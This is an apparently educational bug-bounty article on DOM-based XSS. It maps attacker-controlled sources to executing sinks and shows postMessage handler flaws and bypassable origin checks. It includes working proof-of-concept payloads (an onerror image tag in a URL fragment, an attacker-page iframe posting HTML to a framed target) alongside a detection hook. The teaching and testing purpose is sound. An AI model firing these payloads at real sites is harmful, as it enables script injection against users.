Advanced levelPremium

DOM XSS — sources, sinks and gadgets to chain filter bypasses

A complete map of sources (location, postMessage, document.referrer, localStorage) and sinks (innerHTML, eval, document.write, jQuery $.html) + gadgets to build undetectable payloads.

Gorka El BochiMay 11, 202616 min

Stop reading about bugs and start hunting them

No card · free Academy · cancel anytime

Create free account

Quick answer

DOM XSS is client-side: the payload never touches the server. The flow is source → sink with or without an intermediate gadget. Common sources: location.hash, postMessage, document.referrer, window.name, localStorage. Executable sinks: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). When there's no direct sink, gadgets (toString coercion, jQuery addBack, lodash _.set) turn a "clean" sink into arbitrary execution.


Sources — where the controlled input comes from

Any data the attacker can manipulate without requiring the backend.

SourceManipulationNotes
location.hashURL fragment #payloadNot sent to the server, ideal for leaving no logs
location.search?param=payloadReflected server-side usually gives classic RXSS, client-side gives DOM XSS
location.pathnameURL path segmentsUseful with client-side routers (React Router)
document.referrerThe Referer header of the previous requestThe attacker controls it via their own page with a link
window.namePersists cross-origin via target.name=... before navigatingA classic source for CSP bypass
postMessageiframe.contentWindow.postMessage(...)Most exploited DOM XSS vector in 2026
localStorage / sessionStorageSet from another XSS or subdomainPersistent
IndexedDBSame originIdem
WebSocket messageIf the app opens a WS and the attacker can inject messages (MITM, server bug)Niche
BroadcastChannelMessages between same-origin tabsNiche
document.cookieSet from a subdomain or cookie tossingUseful when there's client-side parsing

Sinks — where JavaScript executes

"Hard" sinks (they execute JS directly if you put a payload in them):

javascript
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0);   // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput);          // jQuery
$(userInput);               // jQuery con HTML string
range.createContextualFragment(userInput);

"Soft" sinks (they need the payload to have a specific shape):

javascript
location.href = userInput;        // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput;          // <iframe src=javascript:...>
element.href = userInput;         // <a href=javascript:...>
element.action = userInput;       // <form action=javascript:...>
element.onclick = userInput;      // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput);  // si reflejado luego con innerHTML

Trivial source → sink pattern

javascript
// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
php-template
https://target.com/page#<img src=x onerror=alert(1)>

Automatic detection: DOM Invader (Burp), DOMSnitch (Chrome extension), or the manual hook:

javascript
// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
  set(v) {
    if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
      console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
    }
    origInnerHTML.set.call(this, v);
  }
});

postMessage handlers — the #1 vector of 2026

The window.addEventListener('message', ...) listener receives cross-origin data. If it doesn't validate event.origin, any external domain (an iframe opened on attacker.com with target.com framed) can send payloads.

javascript
// Vulnerable
window.addEventListener('message', (e) => {
  document.getElementById('ads').innerHTML = e.data;
});

Exploit:

html
<!-- attacker.com -->
<iframe src="https://target.com/" onload="
  this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>

More sophisticated variations

JSON message + property dispatch

javascript
window.addEventListener('message', (e) => {
  const data = JSON.parse(e.data);
  if (data.type === 'render') {
    document.getElementById(data.target).innerHTML = data.html;
  }
});

Payload:

javascript
target.contentWindow.postMessage(
  JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
  '*'
);

Origin check with .includes or a loose regex

javascript
if (e.origin.includes('target.com')) { ... }  // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... }    // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... }  // eviltarget.com pasa

Any validation that doesn't use e.origin === 'https://target.com' is bypassable.

Keep reading the full chain

The remaining part includes the step-by-step PoC, exploitation code and the full chain that led to impact. Available to subscribers.

Free · no account

The checklist I run on every new target

47 checks ordered by cost: first what can get you in trouble, then the cheap stuff, and finally the expensive stuff — which is where the big bounties are. I'll send it to your inbox right now.

Unsubscribe in one click, from any email.

Practice this in a lab

Dom Xss Gadgets Postmessage

Solve

Keep learning · free account

Save your progress, unlock advanced payloads and rank your flags.

Create account

Related articles

4,183

hunters training

68

labs from real hacks

2,125

completions

$14,790

paid out for these bugs

6 flags captured this week·Real hacks from HackerOne · YesWeHack · Bugcrowd·No commitment·Free Academy

The community

This isn't a platform with users.It's people breaking the same things you are.

Inside people ask, share what they found and solve together what would block anyone on their own. It's free to join: no account, no plan, no email required.

Join the BBLABS community on Discord
Join the Discord

Free and open. You don't need a BBLABS account to join.